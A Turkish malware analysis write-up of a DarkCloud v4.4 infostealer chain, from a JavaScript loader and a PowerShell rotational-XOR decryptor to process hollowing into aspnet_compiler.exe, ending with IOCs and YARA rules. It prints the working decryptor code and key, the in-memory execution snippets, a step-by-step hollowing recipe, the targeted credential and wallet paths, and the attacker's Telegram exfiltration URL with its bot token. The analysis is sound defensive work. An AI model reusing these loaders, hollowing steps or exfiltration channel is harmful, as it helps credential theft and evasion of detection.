Tango Scramble 4: DarkCloud v4.4 Stealer Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Yönetici Özeti (Executive Summary)
İncelenen örnek, MalwareBazaar üzerinden elde edilen çok katmanlı bir zararlı yazılım dağıtım zinciridir. Analiz sonucunda örneğin DarkCloud v4.4 ailesine ait bir infostealer olduğu tespit edilmiştir.
Saldırı zinciri beş ana aşamadan oluşmaktadır:
- JavaScript Loader (WSH): Obfuscated bir Windows Script Host dosyası, gömülü Base64 verisini çözerek bir sonraki aşamayı çalıştırır ve ardından kendini siler.
- PowerShell Decryptor: Rotational XOR algoritmasıyla şifrelenmiş veriyi çözer ve ortaya çıkan .NET assembly’yi doğrudan RAM üzerinde çalıştırır (fileless execution).
- Obfuscated .NET Loader: Crypto Obfuscator ile korunan bir DLL, gömülü resource’lardan DES + Deflate ile çözümlenen nihai payload’u elde eder.
- Process Hollowing:
aspnet_compiler.exe(LOLBIN) askıya alınmış halde başlatılır, mevcut imajı bellekten kaldırılır ve yerine zararlı PE image manuel olarak map edilerek çalıştırılır. - DarkCloud v4.4 Stealer: VB6 tabanlı stealer; Chromium ve Gecko tabanlı tarayıcılar, kripto cüzdanlar, FTP istemcileri, e-posta uygulamaları, Discord, Telegram ve VPN istemcilerinden veri çalar. Toplanan veriler Telegram Bot API üzerinden saldırgana iletilir.
Geliştirici ortamında bırakılan DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp yolu, zararlının DarkCloud ailesine ait olduğunu doğrulamaktadır. Tespit edilen Telegram C2 botu analiz tarihi itibarıyla yayında değildir.
Bölüm 1: JavaScript Loader Analizi
Örneğe İlk Bakış
Elde edilen örnek, formatı bozulmuş bir JavaScript dosyasıdır. Analiz sürecinin ilk adımı olarak dosya, bir JavaScript formatter aracı kullanılarak okunabilir hale getirilmiştir.
Formatter çıktısında koda obfuscation ve splitting uygulandığı tespit edilmiştir.
Genel Yapı
İncelenen script, Windows Script Host (WSH) üzerinde çalışan çok katmanlı bir loader yapısıdır. Temel amacı, içerisine gömülü şifreli veriyi çözmek, ortaya çıkan payload’ı çalıştırmak ve ardından izlerini temizlemektir.
Şifreli Blob ve İlk Katman
Script içerisinde BASE isimli bir değişkende çok uzun bir Base64 encoded veri saklanmaktadır. Bu değişken loader’ın ana veri kaynağıdır.
Blob başlığı CyberChef ile incelendiğinde, zararlı yazılım geliştiricisinin şifreleme mekanizmasını açıkça belgelediği görülmektedir. Yorum satırlarının yapısı, geliştirme sürecinde yapay zeka destekli kod üretimi kullanıldığına işaret etmektedir:
1
# Multi-Layer Rotational XOR Decryption System
Bu çıktı doğrudan payload değildir; ikinci aşama bir decoder script’tir. Script’in multi-stage bir yapıya sahip olduğunu göstermektedir.
Obfuscation Katmanları
Kod yoğun obfuscation içerir ancak bu obfuscation büyük ölçüde davranışı gizlemekten ziyade analizi zorlaştırmaya yöneliktir:
Alias ve Resolver Yapısı: Kodun başlangıcında çok sayıda değişken alias’ı tanımlanmıştır. Bu yapı, string resolver fonksiyonlarını dolaylı hale getirir:
1
2
var er = i, eJ = i, bu = l, a1 = d, a2 = d
// a1(0x123) → runtime sırasında gerçek bir string değere karşılık gelir
Wrapper Fonksiyonlar: Basit işlemleri dolaylı hale getiren çok sayıda yardımcı fonksiyon bulunmaktadır:
1
2
3
'fZBfk': function(S, T) { return S === T; }
'jZfdl': function(S, T) { return S(T); }
// f['jZfdl'](S, T) → doğrudan S(T) anlamına gelir
Anti-Analysis Mekanizmaları: constructor, toString, search ve self-invoking function blokları kullanılarak debugger tespiti, kod bütünlüğü kontrolü ve runtime manipülasyon tespiti yapılmaktadır.
Bu obfuscation katmanları analiz açısından kritik değildir ve davranışı anlamak için çözülmesi zorunlu değildir.
Payload Çalıştırma ve Watchdog
Script, çözülen payload’ı sistem üzerinde çalıştırmak için aşağıdaki yapıyı kullanmaktadır:
1
2
CMD = ... + SCRIPT_PATH
PROC = SHELL.Run(CMD)
Ardından yaklaşık 50 saniyelik (0xC350 = 50000ms) bir timeout ile süreç izlenmektedir. Süre aşılması durumunda WMI üzerinden ilgili process’ler enumerate edilerek sonlandırılmaktadır:
1
2
3
4
var wmi = GetObject(...)
var procs = wmi.ExecQuery(...)
if (p.CommandLine contains SCRIPT_PATH)
p.Terminate()
Self-Deletion
Script, çalışmasını tamamladıktan sonra disk üzerinde artefact bırakmamak amacıyla kendi dosyasını silmektedir:
1
2
FS.FileExists(SCRIPT_PATH)
FS.DeleteFile(SCRIPT_PATH, true)
Çıkışta başarılı çalışma durumunda exit code 0, hata durumunda exit code 1 döndürülmektedir.
Bölüm 2: PowerShell Decryptor Katmanı
Base64 ile gizlenmiş bölüm decode edilerek dışarıya çıkarılmıştır:
Syntax yapısı incelendiğinde ortaya çıkan kodun bir PowerShell scripti olduğu anlaşılmaktadır. Script içerisinde, yapay zeka destekli kod üretimi izleri taşıyan bir encryption mekanizması tespit edilmiştir.
Decryption Key
1
2
3
$cryptorotation = @'
CinBCHKY5UBD0B2ut2dqoRXwjW6VP5FHPRH5HLBnmtU=
'@
Bu veri Base64 formatında saklanmış bir key material’dir ve XOR tabanlı decryption aşamasında kullanılmaktadır.
Rotational XOR Decryption
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$xorrotation = {
param(
[byte[]]$encryptedContent,
[byte[]]$decryptionMaterial
)
$resultBuffer = New-Object byte[] $encryptedContent.Length
$rotationCounter = 0
for ($elementPosition = 0; $elementPosition -lt $encryptedContent.Length; $elementPosition++) {
$materialIndex = ($elementPosition + $rotationCounter) % $decryptionMaterial.Length
$resultBuffer[$elementPosition] = $encryptedContent[$elementPosition] -bxor $decryptionMaterial[$materialIndex]
$rotationCounter = ($rotationCounter + $decryptionMaterial[$materialIndex]) % 7
}
return $resultBuffer
}
Bu fonksiyon klasik repeating-key XOR’dan farklıdır. Standart XOR’da anahtar indeksi yalnızca i % key.length iken, burada rotationCounter her byte’ın anahtar değerine bağlı olarak dinamik olarak kayıyor. Bu yapı, statik analiz araçlarının pattern-based tespitini zorlaştırmak amacıyla tasarlanmıştır.
Execution Handler
1
2
3
4
5
6
7
8
9
10
11
$executionhandler = {
$scriptContent = & $decodermodule
$executionStrategies = @(
{ Invoke-Expression $args[0] },
{ & { . { $args[0] } } },
{ [ScriptBlock]::Create($args[0]).Invoke() }
)
& $executionStrategies[0] $scriptContent
}
Decrypt edilen payload disk’e yazılmadan doğrudan RAM üzerinde çalıştırılmaktadır. Üç farklı execution stratejisi ile fallback mekanizması sağlanmaktadır:
Invoke-Expression- ScriptBlock oluşturma
- Inline execution
Payload’ın Çıkarılması
Bu aşamada payload’ın dışarı alınması için scriptin sonuna aşağıdaki kod eklenmiş ve & $executionhandler satırı kaldırılmıştır:
1
2
$scriptContent = & $decodermodule
$scriptContent | Out-File final_payload.ps1
.NET Assembly ve In-Memory Execution
Ortaya çıkan kod incelendiğinde aşağıdaki yapı gözlemlenmiştir:
"DEVV.Down"ve"Shoot"ifadeleri kritik öneme sahiptir — payload droplandıktan sonra bu parametreler verilerek execution gerçekleştirilmektedir.
İncelenen çıktı, PowerShell üzerinden çalışan ve gömülü Base64 formatında saklanan bir .NET assembly’yi bellek içerisinde yükleyerek çalıştıran bir in-memory execution mekanizmasıdır.
Script, [System.Reflection.Assembly]::Load metodunu kullanarak binary veriyi doğrudan RAM’e yüklemekte ve disk üzerinde herhangi bir artefact oluşturmadan execution gerçekleştirmektedir.
Anti-Analysis Kontrolü
1
Test-ProcessAbsent "Aspnet_compiler"
Bu kontrol, aspnet_compiler.exe‘nin halihazırda çalışıp çalışmadığını denetlemektedir. Amacı, aynı zararlının birden fazla instance’ının eş zamanlı çalışmasını engellemektir — zira bu process aynı zamanda hollowing hedefi olarak kullanılacaktır.
.NET Binary’nin Çıkarılması
Base64 decode kodu güncellenerek payload diske yazılmıştır:
Dosya Özellikleri
| Özellik | Değer |
|---|---|
| Dosya Türü | PE32 |
| Mimari | x86 (32-bit) |
| Tür | DLL |
| Framework | .NET Framework v4.5.2 (CLR v4.0.30319) |
| Boyut | ~21 KB |
| Koruma | Crypto Obfuscator |
Dosya bir executable yerine DLL olarak derlenmiştir. Bu durum, payload’ın doğrudan çalıştırılmak yerine reflection veya loader aracılığıyla çağrılmak üzere tasarlandığını göstermektedir.
Bölüm 3: Obfuscated .NET Loader — Deobfuscation Mücadelesi
Binary üzerinde yapılan incelemede aşağıdaki koruma teknikleri tespit edilmiştir:
- Crypto Obfuscator kullanımı
- Anti-ILDasm koruması
- Obfuscated class ve method isimleri
- Control flow obfuscation
- String encryption (runtime decryption)
İlk String Analizi
Bu string haricinde başka kayda değer bir string tespit edilmemiştir. Binary, DNSpy ile detaylı incelemeye alınmıştır.
İlk incelemede aşağıdaki tespitler yapılmıştır:
DOWN.SHOOT(string targetPath, byte[] shellcode)methodu mevcutLoadLibraryAveGetProcAddressile dynamic API resolving gerçekleştirilmekteCreateProcessbenzeri bir delegate tanımlı- Thread context okuma/yazma işlemleri mevcut
- Remote memory allocation / write operasyonları mevcut
- Section bazında PE kopyalama yapılmakta
- Son aşamada thread resume edilerek çalıştırılmakta
- Hata durumunda oluşturulan süreç sonlandırılmakta
Bu bulgular, örneğin bir process hollowing / RunPE tarzı injector olduğuna işaret etmektedir.
Crypto Deobfuscator Denemesi
Mevcut deobfuscator araç listesinden Crypto Obfuscator’a özel deobfuscator aracı denenmiştir:
Hazır deobfuscator araçları şu varsayımlarla çalışır:
- Stringlerin sabit bir decrypt fonksiyonu üzerinden çözülmesi
- Açık string literal’ların bulunması
- Predictable class ve method isimleri
- Tek katmanlı statik çözümleme
Ancak incelenen örnekte stringler literal olarak bulunmamakta, string erişimi index tabanlı resolver fonksiyonları üzerinden yapılmaktadır. Bu nedenle araç beklediği pattern’i bulamayıp NullReferenceException vermiştir.
Custom Analyzer Geliştirme
Hazır araçların başarısız olması üzerine, örneğe özel bir analiz aracı geliştirilmiştir. Bu araç dnlib kütüphanesi kullanılarak tamamen statik analiz gerçekleştirmekte ve şu hedeflere odaklanmaktadır:
- Assembly içindeki tüm method ve string referanslarını çıkarmak
- Obfuscation kaynaklı wrapper methodları tespit etmek
- String resolver ve integer resolver adaylarını belirlemek
- Şüpheli API kullanımını işaretlemek
- Methodlar arası çağrı ilişkisini (call graph) çıkarmak
String Resolver Tespiti
Araç tarafından A.ca8961b6...::ccb46ef0... methodu string resolver olarak tespit edilmiştir. Bu method integer parametre alır, switch-case yapısı içerir ve string döndürür.
String Obfuscation Mekanizması
Static constructor (.cctor) içerisinde Base64 formatında saklanan "REVWViQ=" değeri decode edilerek "DEVV$" stringi elde edilmekte ve bu string assembly içerisindeki embedded resource’un adı olarak kullanılmaktadır. GetManifestResourceStream aracılığıyla resource okunmakta ve byte dizisi olarak memory’ye yüklenmektedir.
Bu byte dizisi, tüm string verilerin saklandığı merkezi bir veri havuzu olarak kullanılmaktadır. Packed binary string table yaklaşımıyla stringler doğrudan kodda bulunmamakta, bir indeks üzerinden runtime’da çözülmektedir.
String Extraction
Resource dışarıya alınarak stringlerin çıkarılması amacıyla özel bir script geliştirilmiştir:
Elde edilen kritik API isimleri:
1
2
3
4
5
6
GetThreadContext
ReadProcessMemory
Wow64SetThreadContext
WriteProcessMemory
ZwUnmapViewOfSection
kernel32
Bu API seti, hedef süreç içerisinde yeni bir executable image yerleştirerek çalışan klasik bir process hollowing tekniğinin kullanıldığını kesinleştirmektedir.
Payload Unpack Mekanizması (DES + Deflate)
.NET DLL içerisinde payload’u çözen fonksiyon, çok katmanlı bir unpack mekanizması kullanmaktadır:
- Embedded resource stream elde edilir
- İlk byte’lardan flag değeri okunur ve bitwise NOT ile terslenir
- Flag bitlerine göre:
(flag & 2) != 0→ DES ile decryption uygulanır (IV ve Key stream’den okunur)(flag & 8) != 0→ Deflate ile decompression uygulanır
- Sonuç veri
byte[]olarakDOWN.SHOOTfonksiyonuna verilir
DES aşamasında key tamamen sıfırlardan oluşuyorsa, anahtar mevcut assembly’den türetilir. Bu, Crypto Obfuscator’ın assembly hash’inden anahtar türetme mekanizmasıdır.
Bölüm 4: Process Hollowing — DOWN.SHOOT
DOWN.SHOOT(string targetPath, byte[] shellcode) fonksiyonu, hedef bir süreci askıya alınmış halde başlatıp kendi payload’unu bu süreç içerisine manuel olarak yerleştiren bir process hollowing / manual PE injection rutinidir.
Parametrenin adı
shellcodeolsa da, kullanılan alanlar bunun klasik shellcode’dan ziyade tam bir PE image olduğunu göstermektedir.
Hollowing Akışı (13 Adım)
1. Hedef sürecin askıya alınmış halde oluşturulması
CreateProcessA ile targetPath olarak belirtilen aspnet_compiler.exe askıya alınmış (suspended) halde başlatılır.
2. Payload PE yapısının parse edilmesi
shellcode byte dizisinden e_lfanew (PE header offset), image base, image size, header size, section sayısı ve entry point RVA parse edilir.
3. Thread context’in alınması
GetThreadContext veya Wow64GetThreadContext ile hedef thread’in register durumu alınır. IntPtr.Size üzerinden 32-bit / WOW64 ayrımı yapılır.
4. PEB üzerinden image base okunması
ReadProcessMemory ile PEB yapısından hedef sürecin mevcut image base adresi okunur.
5. Mevcut imajın bellekten kaldırılması
Payload image base adresi ile hedef sürecin mevcut adresi çakışıyorsa ZwUnmapViewOfSection ile mevcut imaj kaldırılır.
6. Yeni bellek alanının tahsis edilmesi
VirtualAllocEx ile hedef süreçte payload için bellek ayrılır.
7. PE header’ın hedef sürece yazılması
WriteProcessMemory ile payload’un PE header bölümü hedef sürece yazılır.
8. Section’ların tek tek map edilmesi
.text, .data, .rdata gibi PE section’ları döngü içinde Buffer.BlockCopy ile ayrılıp WriteProcessMemory ile hedef sürece yazılır.
9. PEB image base güncellenmesi
WriteProcessMemory ile PEB içerisindeki image base alanı, yeni payload’un adresi ile güncellenir.
10. Yeni entry point hesaplanması
PE header’dan okunan entry point RVA ile tahsis edilen base adres toplanarak gerçek entry point elde edilir.
11. Thread context’in yeni entry point’e yönlendirilmesi
SetThreadContext veya Wow64SetThreadContext ile thread register’larına yeni entry point yazılır.
12. Thread’in resume edilmesi
ResumeThread ile askıya alınmış thread çalıştırılır. Bu noktadan itibaren meşru süreç kodu yerine zararlının payload’u yürütülmektedir.
13. Hata durumunda süreç sonlandırılması
catch bloğunda başarısız hollowing sonrası oluşturulan süreç Process.Kill() ile sonlandırılır.
LOLBIN Kullanımı
Loader, hedef süreç olarak aspnet_compiler.exe kullanmaktadır. Bu seçim bilinçlidir:
- .NET tabanlıdır ve .NET assembly injection için uygundur
- Sistemde güvenilir olarak bulunur
- Güvenlik ürünleri tarafından genellikle şüpheli olarak işaretlenmez
Bu teknik LOLBIN (Living-Off-the-Land Binary) abuse olarak değerlendirilir.
Çok Katmanlı Yürütme Zinciri
1
2
3
4
5
6
7
8
9
10
11
wscript.exe (JS loader)
↓
PowerShell (hidden execution)
↓
C# Loader (Crypto Obfuscator korumalı .NET DLL)
↓
aspnet_compiler.exe (LOLBIN)
↓
Process Hollowing
↓
Final Payload (DarkCloud v4.4 — VB6 tabanlı)
Bölüm 5: Final Payload — DarkCloud v4.4
Bu aşamada statik analizin sınırlarına ulaşılması nedeniyle INetSim konfigüreli laboratuvar makinesinde dinamik analize geçilmiştir. final_payload.ps1 (C# kodunun elde edildiği script) çalıştırılarak Process Hacker ile izlenmiştir.
aspnet_compiler.exe‘nin sürekli kendini yeniden başlatmaya çalıştığı gözlemlenmiştir. Create Dump File seçeneği ile sürecin bellek dökümü alınmıştır.
Dump Analizi
Runtime dumping sonucunda aspnet_compiler.exe süreci altında birden fazla PE bileşeni elde edilmiştir:
| Dosya | Açıklama |
|---|---|
aspnet_compiler.exe.dmp.00072199_9a00.exe | Meşru aspnet_compiler.exe — abuse edilen host süreç |
aspnet_compiler.exe.dmp.b199_00067000.exe | Asıl zararlı payload — VB6 runtime, WinINet API’leri içerir |
Project1.exe | Aynı aileye ait ham/orijinal bileşen — attribution ipucu içerir |
aspnet_compiler.dmp.0047f196_00028600.dll | UPX packed yardımcı DLL — ikincil önemde |
DarkCloud v4.4 Tespiti
Project1.exe içerisinde bulunan geliştirici yolu:
1
DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp
Bu yol, zararlının DarkCloud v4.4 ailesine ait olduğunu kesin olarak doğrulamaktadır. DarkCloud, underground forumlarda satışa sunulan ticari bir stealer’dır (Malware-as-a-Service).
Kapsamlı Hedef Listesi
Tarayıcılar
Chromium Tabanlı: Google Chrome, Brave, Microsoft Edge, Vivaldi, Yandex Browser, Opera, Opera GX, Amigo, Torch, Kometa, Orbitum, CocCoc, CentBrowser, 7Star, Sputnik, Chedot.
Gecko/Mozilla Tabanlı: Firefox, Waterfox, Pale Moon, SeaMonkey, Cyberfox, Comodo IceDragon.
Hedef Veriler: Login Data, Web Data, Cookies, History ve Autofill dosyaları (%APPDATA% ve %LOCALAPPDATA% altındaki profil dizinlerinde).
Finansal Veri Hırsızlığı
Web Data SQLite veri tabanından çalınan alanlar:
- Kart bilgileri:
card_number_encrypted,expiration_month,expiration_year,name_on_card - Adres/bölge:
billing_address,city,state,zip_code,country_code - Otomatik doldurma:
autofill_profilestablosundan telefon ve e-posta
Kripto Para Cüzdanları
Masaüstü: Bitcoin-Core, Litecoin-Core, Dash-Core, Electrum, Exodus, Atomic Wallet, Jaxx, Liberty, Guarda, Coinomi, Armory (wallet.dat ve .json konfigürasyon dosyaları).
Tarayıcı Eklentileri: Metamask, Binance Chain Wallet, TronLink, Phantom, Ronin Wallet, Yoroi, Math Wallet, Coinbase Wallet (Local Storage dosyaları).
Diğer Uygulamalar
- FTP: FileZilla (
recentservers.xml,sitemanager.xml), WinSCP, CoreFTP, Putty - E-posta: Microsoft Outlook (
.pst,.ost), Thunderbird - Oyun Platformları: Steam (oturum dosyaları,
ssfn), Discord (Local Storage\leveldb) - VPN ve Mesajlaşma: NordVPN, ProtonVPN, Telegram masaüstü oturum verileri
Anti-Analysis Mekanizmaları
Zararlı, çalışmadan önce aşağıdaki araçların varlığını kontrol etmektedir:
- Debuggerlar: x64dbg, WinDbg, OllyDbg, ImmunityDebugger
- Ağ İzleme: Wireshark, Fiddler, HTTPDebugger, Charles
- Sistem Analizi: Procmon, Process Explorer
- Sanal Makineler: VMware, VirtualBox, QEMU, Sandboxie
C2 İletişimi — Telegram Bot API
Zararlı, toplanan verileri dışarı sızdırmak için Telegram Bot API’sini kullanmaktadır:
1
hxxps://api[.]telegram[.]org/bot8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc/sendMessage?chat_id=8424414211
Telegram sunucularına /sendMessage ve /sendDocument çağrıları ile çalınan veriler (şifreler, kartlar, ekran görüntüleri) bot üzerinden saldırgana gönderilmektedir. Veriler %TEMP% klasöründe toplanıp paketlenerek HTTP POST ile iletilmektedir.
Bota yönelik gerçekleştirilen sorgu sonucunda, botun analiz tarihi itibarıyla yayında olmadığı tespit edilmiştir.
MITRE ATT&CK Mapping
| Taktik | Teknik ID | Teknik Adı | Gözlemlenen Davranış |
|---|---|---|---|
| Execution | T1059.007 | Command and Scripting Interpreter: JavaScript | WSH üzerinden çalışan JavaScript loader |
| Execution | T1059.001 | Command and Scripting Interpreter: PowerShell | PowerShell decryptor ve in-memory loader |
| Execution | T1204.002 | User Execution: Malicious File | JS dosyasının kullanıcı tarafından çalıştırılması |
| Defense Evasion | T1027 | Obfuscated Files or Information | JS alias/wrapper obfuscation, Crypto Obfuscator |
| Defense Evasion | T1027.013 | Encrypted/Encoded File | Base64 + Rotational XOR + DES + Deflate katmanları |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Çok katmanlı decode zinciri |
| Defense Evasion | T1055.012 | Process Injection: Process Hollowing | DOWN.SHOOT — aspnet_compiler.exe’ye PE injection |
| Defense Evasion | T1218 | System Binary Proxy Execution | LOLBIN: aspnet_compiler.exe abuse |
| Defense Evasion | T1070.004 | Indicator Removal: File Deletion | JS loader self-deletion mekanizması |
| Defense Evasion | T1620 | Reflective Code Loading | .NET Assembly::Load ile in-memory execution |
| Defense Evasion | T1497 | Virtualization/Sandbox Evasion | VMware, VirtualBox, QEMU, Sandboxie kontrolleri |
| Discovery | T1057 | Process Discovery | Debugger ve analiz aracı varlık kontrolü |
| Credential Access | T1555.003 | Credentials from Password Stores: Web Browsers | Chrome, Firefox, Edge vb. Login Data çalınması |
| Credential Access | T1555 | Credentials from Password Stores | Outlook, Thunderbird kimlik bilgileri |
| Credential Access | T1539 | Steal Web Session Cookie | Tarayıcı Cookies dosyasının çalınması |
| Collection | T1005 | Data from Local System | Wallet dosyaları, FTP config, Steam, Discord verileri |
| Exfiltration | T1567 | Exfiltration Over Web Service | Telegram Bot API üzerinden veri sızdırma |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | sendMessage + sendDocument ile veri iletimi |
IOC (Indicators of Compromise)
Dosya Hash’leri
Aşama 1 — JavaScript Loader (WSH)
| Algoritma | Değer |
|---|---|
| Dosya | 22299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb.js |
| MD5 | 00e106f5e361ad6b1bb64acc66cdf776 |
| SHA256 | 22299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb |
| Boyut | 2.601.475 bytes |
Aşama 2 — PowerShell Decryptor (XOR + Rotation)
| Algoritma | Değer |
|---|---|
| Dosya | stage2.ps1 |
| MD5 | f01efa56577c2695d38946397b3d13b5 |
| SHA256 | 560c32301274ce49ccab2d1a8412f840512650220b6da1b62251272028b53698 |
| Boyut | 1.923.373 bytes |
Aşama 3 — PowerShell In-Memory Loader
| Algoritma | Değer |
|---|---|
| Dosya | final_payload.ps1 |
| MD5 | 116337c5faa055a7c941cddd77c20c0c |
| SHA256 | 600a482fbd7e1380cd69aa11c6c7451b99239e4052aa4a92758aaa62c689262b |
| Boyut | 1.418.095 bytes |
Aşama 4 — .NET Loader (Crypto Obfuscator)
| Algoritma | Değer |
|---|---|
| Dosya | payload.exe (DLL) |
| MD5 | 788d593171283cee91555a5b7d8e1dc2 |
| SHA256 | 00d5d01c5b2e5f3869a3146b445407b4614561f42c9d7b08e187375969f07632 |
| Boyut | 21.504 bytes |
Aşama 5 — Final Payload (DarkCloud v4.4)
| Algoritma | Değer |
|---|---|
| Dosya | aspnet_compiler.exe.dmp.b199_00067000.exe (VB6 stealer) |
| MD5 | d64d3edfefa8d8f463baa7d75cc2f6d4 |
| SHA256 | 97534571fd15e5729bd06b1159ccd3bf59ce6356b10db880a205fd82562ef0ae |
| Boyut | 421.888 bytes |
| Algoritma | Değer |
|---|---|
| Dosya | Project1.exe (attribution bileşeni) |
| MD5 | 5dcbed1fae79d50bd94d6d9c7e692f10 |
| SHA256 | d890c39dc1644a16f99142a73766db35676b386d6319c6b0f82e8c88ea821a85 |
| Boyut | 28.672 bytes |
Yardımcı Bileşenler
| Algoritma | Değer |
|---|---|
| Dosya | aspnet_compiler.exe.dmp.00072199_9a00.exe (meşru host) |
| MD5 | d5b7a261223aa887328c834323e047a5 |
| SHA256 | 4208eb3c9bc8305bbc47f9d53bb96d12c1bbe6c8d86882c81be83c33a51c49a1 |
| Boyut | 39.424 bytes |
| Algoritma | Değer |
|---|---|
| Dosya | aspnet_compiler.dmp.0047f196_00028600.dll (UPX packed DLL) |
| MD5 | 073a17b6cfb1112c6c838b2fba06a657 |
| SHA256 | dcfcd16fbf0511d3f2b3792e5493fa22d7291e4bb2efbfa5ade5002a04fc2cab |
| Boyut | 165.376 bytes |
Ağ Göstergeleri
Telegram C2:
1
hxxps://api[.]telegram[.]org/bot8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc/sendMessage?chat_id=8424414211
| Gösterge | Değer |
|---|---|
| Bot Token | 8652077722:AAH4G63Qb2MmUbMHMmR3j7GvYLrQ7n6TuEc |
| Chat ID | 8424414211 |
| API Endpoint | api[.]telegram[.]org |
Dosya Sistemi Göstergeleri
Zararlı bileşen isimleri:
1
2
3
4
DEVV.DOWN (Namespace)
DOWN.SHOOT (Injection method)
DEVV$ (Embedded resource — string data)
DEVV% (Embedded resource — constant data)
Geliştirici yolu (Attribution):
1
DARKCLOUD VERSION 4.4 SOURCECODE\Stubhelper\Project1.vbp
Süreç Göstergeleri
1
aspnet_compiler.exe — Process Hollowing hedefi (LOLBIN abuse)
Hedef Dosya Yolları
1
2
3
4
5
6
%APPDATA%\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Google\Chrome\User Data\Default\Web Data
%APPDATA%\Google\Chrome\User Data\Default\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Default\History
%APPDATA%\Mozilla\Firefox\Profiles\*\logins.json
%APPDATA%\discord\Local Storage\leveldb\*
YARA Kuralları
Aşağıdaki kurallar, analiz edilen zararlı yazılım zincirinin farklı aşamalarını tespit etmek amacıyla oluşturulmuştur.
Kural 1: JavaScript Loader
rule DarkCloud_JS_Loader
{
meta:
description = "DarkCloud v4.4 — JavaScript WSH Loader"
author = "BinaryBear"
date = "2026-03-27"
reference = "MalwareBazaar: 22299bc617e8c48c64efe15d457304fc4f29591b683379c04cabd3f94dcaeddb"
strings:
$xor_comment = "Multi-Layer Rotational XOR" ascii
$var_base = "var BASE=" ascii
$wsh_quit = "WScript.Quit" ascii
$self_del = "DeleteFile" ascii
$watchdog = "ExecQuery" ascii
condition:
$xor_comment or (filesize > 1MB and 3 of ($var_base, $wsh_quit, $self_del, $watchdog))
}
Kural 2: .NET Loader (Process Hollowing Injector)
rule DarkCloud_DotNet_Injector
{
meta:
description = "DarkCloud v4.4 — Obfuscated .NET Process Hollowing Loader"
author = "BinaryBear"
date = "2026-03-27"
hash = "00d5d01c5b2e5f3869a3146b445407b4614561f42c9d7b08e187375969f07632"
strings:
$ns = "DEVV" ascii wide
$res1 = "DEVV$" ascii wide
$res2 = "DEVV%" ascii wide
$method = "SHOOT" ascii wide
$class = "DOWN" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 50KB and
3 of them
}
Kural 3: DarkCloud v4.4 Stealer (Final Payload)
rule DarkCloud_v44_Stealer
{
meta:
description = "DarkCloud v4.4 — VB6 Information Stealer"
author = "BinaryBear"
date = "2026-03-27"
hash = "97534571fd15e5729bd06b1159ccd3bf59ce6356b10db880a205fd82562ef0ae"
strings:
$attr = "DARKCLOUD VERSION" ascii wide nocase
$vbp = "Stubhelper" ascii wide
$tg_api = "api.telegram.org" ascii wide
$tg_send = "/sendDocument" ascii wide
$browser1 = "Login Data" ascii wide
$browser2 = "Web Data" ascii wide
$wallet = "wallet.dat" ascii wide
condition:
uint16(0) == 0x5A4D and (
$attr or
($vbp and 1 of ($tg*)) or
(2 of ($tg*) and 2 of ($browser*, $wallet))
)
}
Kural 4: Process Hollowing Davranış Tespiti (API Tabanlı)
import "pe"
rule Suspicious_Process_Hollowing_Imports
{
meta:
description = "Process Hollowing API kombinasyonu tespiti"
author = "BinaryBear"
date = "2026-03-27"
condition:
uint16(0) == 0x5A4D and
pe.imports("kernel32.dll", "CreateProcessA") and
pe.imports("kernel32.dll", "VirtualAllocEx") and
pe.imports("kernel32.dll", "WriteProcessMemory") and
pe.imports("kernel32.dll", "ResumeThread") and
(
pe.imports("kernel32.dll", "GetThreadContext") or
pe.imports("kernel32.dll", "Wow64GetThreadContext")
) and
(
pe.imports("ntdll.dll", "ZwUnmapViewOfSection") or
pe.imports("ntdll.dll", "NtUnmapViewOfSection")
)
}
Not: Kural 4, string bazlı değil API import bazlıdır. Process hollowing için gereken API kombinasyonunu (
CreateProcessA+VirtualAllocEx+WriteProcessMemory+GetThreadContext+ZwUnmapViewOfSection+ResumeThread) arayan bu kural, obfuscation uygulanmamış binary’lerde etkilidir. Analiz edilen .NET örneğinde API isimleri runtime’da çözüldüğü için bu kural doğrudan uygulanamaz; ancak unpack sonrası veya farklı varyantlarda geçerlidir.































